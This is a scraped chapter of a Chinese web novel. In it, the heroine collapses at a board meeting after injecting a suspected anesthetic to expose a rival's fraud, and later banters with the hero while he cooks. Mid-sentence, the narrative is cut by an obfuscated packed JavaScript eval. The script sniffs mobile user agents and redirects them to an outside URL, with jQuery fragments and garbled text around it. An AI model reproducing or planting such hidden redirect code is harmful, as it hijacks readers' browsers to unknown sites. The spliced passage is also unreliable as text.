默认冷灰
24号文字
方正启体

30. 第一个梦 You

作者:字笙本书字数:K更新时间:
    会议室已然乱作一团。


    秋似月的动作太突然。随着她的倒地,棕色的玻璃瓶坠落,斜斜倒地毯上。


    乳白色溶液缓缓流出,顺着地毯的纹理蜿蜒蔓延,不消一会,地毯上一片晶亮。


    离得最近那位股东慌忙捂住鼻子,急速向后退去。甜腻的味道传来,他抬眼对着于诗凡大吼。


    “这到底是什么东西!”


    他的慌张传染给了屋内的所有人。大家纷纷后退,到了门边上。


    温渟早已经挣脱了那两个保安的桎梏。他一双眼睛灰白,率先僵着身体走到门前,伸出手摸了门锁一把。几位股东见状,拉开门想走,却怎么也拽不开。


    他盯着面前那几人,神色很冷。


    “她说了。谁也不能走。”


    到了这会儿,他反倒冷静了。秋似月满口胡话,他也不知道她的具体计划是什么。既然如此,照做就好。


    屋子里的人都傻站着,温渟揉着自己被扭了许久的肩,在人群的注视下走到已经倒下的秋似月身边。她仰倒在地毯上,双眼紧闭,全无知觉。宽松外套被撞得掀起,她倒下的时候无意间撞在了桌上,胳膊上有几块青紫的癫痕。


    温渟闭了闭眼。她那样子就像死了一样。


    他从小到大活得不算显赫,但着实没吃过苦,所以总是不知天高地厚般无畏。第一次体会到惧怕的滋味……还是刚刚参选海神,初次顶着灵力上岸,脱水的窒息感袭击了他,他才知道,这条路上遇到的危险未知,可怕。


    看着现在安静躺着的秋似月。这一刻,害怕失去的惶恐感如另一棒喝,告诉他,你脆弱得很,你无法承受。


    他按住自己的膝盖,勉强扶着自己才蹲了下去,坐在地上。他轻轻拽起秋似月的肩,把她的头放在自己的膝盖上,还有温度。


    他撩起她的衣袖,细数着青紫的痕迹。


    沉默占据了全部的空气,屋内的人各怀心思,面面相觑。


    祝锦骁反应快,早在秋似月倒下的那一刻叫了救护车。屋子里静默了没几分钟,就被急促的敲门打断。温渟听声惊坐起,抱起秋似月来到门口。


    一群医生鱼涌而入。


    “怎么回事?”医生快速蹲下,翻开秋似月的眼皮看了看。


    “她给自己注射了一种特制溶液。”温渟语速极快,向电脑的方向抬了抬下巴,“配方在电脑里能看到,溶液现在洒在地毯上。”


    有医生马上站起身,去瓶子附近查看。


    负责查看秋似月的医生刚想转身叫担架,却见她眼睫微动,身子缓慢动作起来,竟然悠悠转醒。


    “医生,她醒了!”


    温渟惊声叫道。


    医生再次上前,大声问道,“怎么样?能听到我说话吗?能听到吗?”


    屋子里一群人听到她好似醒了,都围了过来。有几个人交换了一下眼神,都怕错过这活生生的人体实验结果。


    秋似月缓慢地转着眼珠,环视了一下四周。祝锦骁刚刚蹲下,一言不发盯着她,一脸严肃。温渟面色里有怒气,她眼神向下,他的手抓住她的胳膊,青筋像一条青色的网,格外分明遍布小臂,看来是抓住她时十分用力——可惜她的感官还没有全部回来,感觉不大。


    她使劲睁了睁眼,对着医生慢慢点了头。


    去取药剂的医生也进入了人群。他手上拿着那棕色的瓶子,蹲下对着同伴耳语了几句。


    旁边几位股东急切地向前凑了凑,想听到医生说了什么。但那医生也是一脸难色,好像并不想当众说出自己的判断。


    有人忍不住了,“医生啊,这到底是什么东西啊?她怎么这么快就醒了?”


    蹲着的医生沉吟一声,接茬道,“这里面的液体是乳白色乳剂,用的棕色避光瓶,瓶口有残留的乳脂痕迹。再加上这位晕倒的病人症状,我们怀疑这里面是,医疗麻醉剂。”


    本着严谨的态度,医生又补充道,“但是具体是不是麻醉剂,我们还需要带回医院,进一步确认。”


    温渟闻言,只觉得胸间被扎了个孔,堵住的那口慌张之气瞬间被泄了出去。他骤然坐在地上,只觉得四肢发软,天旋地转。


    秋似月这个疯子。他暗骂道。


    手突然被人轻轻捏住。温渟低头一看,秋似月苍白着嘴唇,一脸顽皮冲他挑了挑眉,像是在邀功。温渟越看她越生气,要不是周围人太多,真想破口大骂。


    她进过那仓储室,她早就猜到里面是什么!她可真敢赌啊,连医生都需要进一步确认的事情,她竟然直接敢打进身体里?


    温渟一生气,想把手抽走。但秋似月软绵绵的力气扯着他,把他也带的没了力气。他手指颤了颤,没动。


    现场哗然,有几位股东听说是麻醉剂后有些愤怒,跟旁边人交头接耳。


    “各位。信我了吧?”


    秋似月扬头,看向站着的众人。


    她语气发懒,意有所指,听起来像在挑衅,“你们就等着于诗凡拿着这麻醉剂,给你们赚大钱去吧。”


    没人说话。


    于诗凡的鞋跟先映入秋似月的眼帘,她停在秋似月的脚边,眯着眼冷冷看着她,又看了眼祝锦骁,眼神在他们两人之间不停环绕。


    良久,她半字未言,静默地走到会议桌旁,收拾好了全部东西,离开了。


    随后屋子里的人也一个接一个的离开。


    医生对温渟说,因为需要进一步检查这溶液是否为麻醉剂,秋似月依旧需要去医院做检查。温渟收拾好东西,准备跟车去医院,却被祝锦骁拦住了。


    “这么关心她?”


    祝锦骁此时一脸和善,但在温渟眼中,他面目可憎,心思深沉可怖。


    温渟没说话,祝锦骁将他落下的文件塞进他的包里,“正好,她为了救你答应了我去南极。”


    温渟愣住。


    祝锦骁:“你和我们一起去吧。”


    **


    经过医院检测,确认那液体是医用麻醉剂。


    对水星球和深蓝两方来说,这无疑是个地雷,引爆董事会。在医院回去的路上,温渟和秋似月的手机快要爆炸,想也知道,一定是同事和领导。


    秋似月当时在仓库里闻到工业甜腥味时便觉察出不对,在进一步看到注射器上的乳脂痕时,就猜测这所谓的逆转溶液不过是麻醉剂。


    在会议室看过视频后,她注意到那条鱼在初醒来入水时,看起来活蹦乱跳,其实游的那几步完全失去方向感。这正是全麻之后的症状。


    于诗凡竟然用这么小儿科的办法,差点骗过所有人。


    因为抽取药物的时候她特意计算了剂量,所以猜测自己会在5-10分钟内醒来。现在两人坐在车上,秋似月已经没有任何的不适,笑呵呵地抽出手机,打算看看于诗凡的热闹。


    嗖地一声。手上的手机被抽走了。


    温渟跟冷面阎王一般,抿着嘴,把她的手机塞入另一侧兜里。


    “想要?”他冷笑,“自己来拿。”


    哎哟。秋似月心里吐槽着,还玩上冷面酷少那一套了。


    秋似月飞速上手直掏他兜,左手被他右手迅速抓住,温渟低睨她,哼笑一声,她不甘示弱,狡黠一笑,另一只手打算偷袭,温渟的左手都没动过,抓着她的手腕向前一挪一抓,她两只手便全部落在了他的手里。


    硬的不行?那来软的。


    “你让我看看呗……”她委屈巴巴,“我今天可是重创于诗凡。你不想知道她怎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398826|181792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么被处理吗?”


    温渟一脸不屑没吱声,用双手将她死死抓住,算作回答。


    软硬不吃?那来正的。


    秋似月嘿嘿一笑,“我拍了二十八层的照片。想不想一起看看?”


    握住她手腕的手指颤动了一秒。果然,温渟面色有了丝松动。她轻轻挣脱开,手伸进他的右兜去拿手机。他穿的不多,只一条单裤,薄薄的一层兜隔着淡淡的温度。


    秋似月这才意识到,自己整个人都趴在温渟腿上。她神色不自在抬头看了一眼,温渟没在看她,她拿了手机赶紧起身。


    秋似月拍到的视角很考究。她特意站在了高处,仿照监控视频中摄像头所在的位置拍了一张。照片的左下侧被宽阔的区域占据了三分之二,右上角余下的三分之一部分,隐约能看见两扇办公室的门,黑底白字的标语被贴在走廊的边缘,因为两人已经把视频看过许多遍,对这标语格外注意。


    温渟仔细看着照片。秋似月挠挠头,一脸困惑地解释道,“我总觉得怪怪的。但是,我又不知道是哪里怪。深蓝应该是重新装修过,现在办公室和监控视频的风格差异巨大。并且从之前我姐跳楼的监控视频里看,那一侧好像只有一间办公室。但是我这次走过去发现,明明有三间办公室。”


    “而且,这个走廊好像实际比视频里要长很多。”她晃晃脑袋,“想不通,可能是扩建了?”


    这事儿两人研究了一路,都没什么头绪。温渟和她一起去了一趟超市,买了不少食材。


    回到家,她刚要拿起围裙穿上,就被温渟抢走,把她一推。


    “你去沙发上躺着。”


    温渟走到操作台附近,熟练地处理起食材。


    秋似月趴在沙发靠背上,只露出一颗头,一脸意外。


    “哇,你竟然会做饭啊!”


    温渟无语,“肯定比你那个碎尸万段的鱼好吃。”


    秋似月看着他这一路不冷不热的模样,心里也明白,今天自己太激进了,确实吓人。


    灶台上咕嘟咕嘟烧起了热水。温渟熟练地将牛尾和葱姜放进锅里,准备焯水。他转过身来继续切菜,一刀一刀砍在菜板上声音坚实,秋似月感觉自己的心脏在被同步敲打着。


    她心里就像有小蚂蚁在爬,又痛又痒,有一种奇异的爽感。


    面前的人好像就是蚂蚁的巢穴。


    不能再想了。


    她飞快转过身,打开电视,电影频道正放着英文原版的泰坦尼克号。Rose一副倾城的模样,正越过栏杆,打算自杀。


    身后依旧是一声声敲击着菜板。这么好的电影,也不知道他有没有偷看。


    “温渟。”


    她叫他,“我想吃牛轧糖。”然后张着嘴等着,一副等人来投喂的雏鸟模样。


    他乖乖放下刀,给她抓了一把。她脑袋往前伸伸,示意他得服务到家。


    嘴角牵起半丝笑意。他撕开包装,给她喂到了嘴里。


    再回去切菜时,手指变得麻丝丝的。


    她又叫他。


    “温渟,我想喝旺仔牛奶。”


    他奇怪地抬头看了她一眼,还是听话地走到塑料袋前面,拆开,插吸管,递给她。


    电视上Jack已经在脱衣服。她莫名想起今天自己在会议室里视死如归地看着温渟,隔空对着他说,记得接住我啊。


    她忍不住嘻嘻笑出声。然后缩起脖子,一边颤抖一边喝着牛奶。


    温渟终于忍不住了,放下刀,“你在笑什么?”


    “啊。”她自然地清清被牛奶腻过的嗓子,指了指电视接话,“youjump,Ijump啊。”


    “说人话。”


    她傲娇地回头,“不懂就算咯。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)